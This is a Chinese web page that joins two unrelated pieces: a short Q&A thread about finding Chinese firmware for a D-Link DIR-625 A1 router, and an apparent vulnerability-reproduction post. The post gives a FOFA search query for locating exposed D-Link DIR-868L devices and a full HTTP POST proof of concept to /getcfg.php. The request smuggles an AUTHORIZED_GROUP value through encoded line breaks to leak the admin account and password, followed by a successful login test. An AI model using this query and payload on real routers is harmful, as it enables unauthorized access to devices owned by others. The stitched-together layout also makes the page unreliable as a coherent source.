求d-link dir-625 A1的中文rom

Posted 2023-04-07

已买d-link dir-625 A1，现在想刷中文固件。

参考技术A 内地没有DIR-625这款路由器，你可以到D-Link台湾网站看看是否有繁体中文的升级文件可以提供下载。 参考技术B dir-625是销往香港和美国的，最原始固,2006年的是3.00，我已经刷到最新版 的3.07，但还是英文。 囧⊙﹏⊙b汗 参考技术C 能说清楚点吗800元的报价太虚了，250元左右是比较合适的，因DIR-625的特点或是卖点就是最高支持300M的传输速度，而54M的只有100多元。 TP-941N是固定天线（不能拆下），具体买哪一种，lz到网上多看看，多比较。追问

已买d-link dir-625 A1，现在想刷中文固件。

漏洞复现-某路由器账号密码泄露

漏洞简介：

D-Link 成立于 1986 年，创立至今三十年，凭借其完整多元的产品线以及优异且屡获国际奖项肯定的网络产品和服务，友讯科技已然成为年营收总值超过十亿美元的国际知名企业。 D-Link 在快速、竞争和不断发展的环境中，将持续提供高效能的网络解决方案协助消费者及各类型企业用户。近期网上爆出D-Link-Dir设备存在账号密码泄露漏洞！

 

FOFA语句：

app="D_Link-DIR-868L"

 

漏洞POC：

 1 POST /getcfg.php HTTP/1.1
 2 Host: xxxxxxxx
 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 6 Connection: close
 7 Cookie: uid=XFOB50sMqS
 8 Upgrade-Insecure-Requests: 1
 9 Content-Type:application/x-www-form-urlencoded
10 Content-Length: 61
11 
12 SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1

 

修改数据包测试，用户Admin，密码空的

 

 

登录测试，(⊙o⊙)…，看不懂的语言